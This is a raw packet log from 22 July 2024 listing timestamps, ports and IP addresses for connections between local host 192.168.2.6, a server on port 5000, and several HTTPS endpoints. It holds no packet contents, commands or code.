Jul 22, 2024 15:57:53.962003946 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.962030888 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.962378025 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.962407112 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.962434053 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.962460041 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.963380098 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.963408947 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.963447094 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.963474035 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.963509083 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.963536024 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.965667009 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.965694904 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.965720892 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.965747118 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.965774059 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.965800047 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.966253042 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.967411995 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.967513084 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.967540026 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.967570066 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.967614889 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.967641115 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.967683077 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.968178988 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.968205929 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.968444109 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.968640089 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.968667984 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.968693972 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.968725920 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.970272064 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.970299006 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:53.970460892 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.009737968 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.019256115 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.019323111 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.019320011 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.019372940 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.019579887 CEST	49725	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.024787903 CEST	5000	49725	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.150160074 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.156095982 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.156167984 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.156630993 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.156951904 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.161892891 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.161957026 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.162158012 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.162184000 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.162195921 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.162209034 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.162221909 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.162235022 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.162239075 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.162246943 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.162260056 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.162261963 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.162305117 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.162332058 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.166661024 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.166717052 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.167381048 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.167395115 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.167407036 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.167454004 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.167467117 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.167479038 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.167540073 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.167540073 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.167540073 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.209582090 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.209743977 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.257622004 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.257724047 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.305589914 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.305711985 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.353590965 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.353702068 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.401474953 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.401595116 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.453432083 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.453573942 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.501352072 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.504987001 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.553512096 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.553627014 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.619323015 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.619432926 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.671073914 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.671194077 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.727768898 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.727880001 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.777482986 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.777616024 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.778047085 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.778150082 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:55.790568113 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.790585041 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.790597916 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.796363115 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.796376944 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.796390057 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.796402931 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.796415091 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.796420097 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:55.813453913 CEST	49727	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:55.813498974 CEST	443	49727	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:55.814349890 CEST	49727	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:55.815526009 CEST	49727	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:55.815537930 CEST	443	49727	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:56.700406075 CEST	443	49727	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:56.700491905 CEST	49727	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:56.703330994 CEST	49727	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:56.703349113 CEST	443	49727	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:56.703608990 CEST	443	49727	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:56.705921888 CEST	49727	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:56.705986023 CEST	49727	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:56.705991030 CEST	443	49727	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:56.706106901 CEST	49727	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:56.748501062 CEST	443	49727	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:56.888102055 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:56.888773918 CEST	443	49727	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:56.888907909 CEST	443	49727	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:56.888987064 CEST	49727	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:56.889178038 CEST	49727	443	192.168.2.6	40.113.103.199
Jul 22, 2024 15:57:56.889198065 CEST	443	49727	40.113.103.199	192.168.2.6
Jul 22, 2024 15:57:56.930855036 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:56.931854963 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:56.932145119 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:56.939481020 CEST	5000	49726	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:56.939563036 CEST	49726	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:57.750319958 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:57.750370979 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:57.753022909 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:57.754154921 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:57.754168987 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.502576113 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.502774954 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:58.590085030 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:58.590125084 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.591095924 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.634150982 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:58.710319042 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:58.752542019 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.940793991 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.940859079 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.940882921 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.940903902 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.940916061 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:58.940944910 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.940948963 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:58.940967083 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.940989017 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:58.940999031 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.941015959 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:58.941046953 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:58.943077087 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.943136930 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:58.943157911 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.943582058 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:58.943629026 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:59.055711985 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:59.055741072 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:59.055768967 CEST	49728	443	192.168.2.6	52.165.165.26
Jul 22, 2024 15:57:59.055777073 CEST	443	49728	52.165.165.26	192.168.2.6
Jul 22, 2024 15:57:59.113790035 CEST	49703	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:59.113854885 CEST	49703	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:59.114300966 CEST	49772	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:59.114330053 CEST	443	49772	173.222.162.64	192.168.2.6
Jul 22, 2024 15:57:59.114408970 CEST	49772	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:59.115418911 CEST	49772	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:57:59.115431070 CEST	443	49772	173.222.162.64	192.168.2.6
Jul 22, 2024 15:57:59.121591091 CEST	443	49703	173.222.162.64	192.168.2.6
Jul 22, 2024 15:57:59.121622086 CEST	443	49703	173.222.162.64	192.168.2.6
Jul 22, 2024 15:57:59.768153906 CEST	443	49772	173.222.162.64	192.168.2.6
Jul 22, 2024 15:57:59.768297911 CEST	49772	443	192.168.2.6	173.222.162.64
Jul 22, 2024 15:58:01.393565893 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:01.399424076 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:01.399702072 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:01.400501966 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:01.413351059 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.352619886 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.356928110 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.361927032 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.361936092 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.362391949 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.362396955 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.362409115 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.362413883 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.362426043 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.362431049 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.362442970 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.362447977 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.362505913 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.367392063 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.367405891 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.367532969 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.368520975 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.368525982 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.368537903 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.368700027 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.371417999 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.374743938 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.378557920 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.378808975 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.378871918 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.383744001 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.383825064 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.383909941 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.383915901 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.383920908 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384015083 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384020090 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384025097 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384027004 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.384042978 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384057999 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384135008 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.384172916 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384198904 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384203911 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384217024 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384222031 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384526968 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384532928 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384546041 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384551048 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384557009 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384589911 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.384852886 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384860039 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384874105 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384880066 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384891987 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.384893894 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384900093 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384908915 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.384913921 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384919882 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384933949 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384938955 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384952068 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.384952068 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.384978056 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.388812065 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.388856888 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.388896942 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.388902903 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.388904095 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.388974905 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.389148951 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389156103 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389168024 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389173031 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389185905 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389190912 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389208078 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389223099 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.389373064 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389403105 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389594078 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389600039 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389831066 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389837027 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389888048 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389893055 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389904976 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.389909983 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.390371084 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.390505075 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392045021 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392051935 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392064095 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392813921 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392819881 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392824888 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392829895 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392844915 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392927885 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392932892 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392946005 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392951012 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392962933 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392967939 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392980099 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.392985106 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393042088 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393047094 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393059015 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393064022 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393069029 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393079042 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393102884 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393107891 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393121004 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393129110 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393136024 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393136978 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393138885 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393143892 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393150091 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393155098 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393160105 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393172979 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393372059 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.393387079 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393393040 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393408060 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393413067 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393425941 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393430948 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393435001 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.393444061 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393450022 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393462896 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393467903 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393472910 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393484116 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393488884 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393863916 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393868923 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.393881083 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.394682884 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.394697905 CEST	5000	49785	172.104.160.126	192.168.2.6
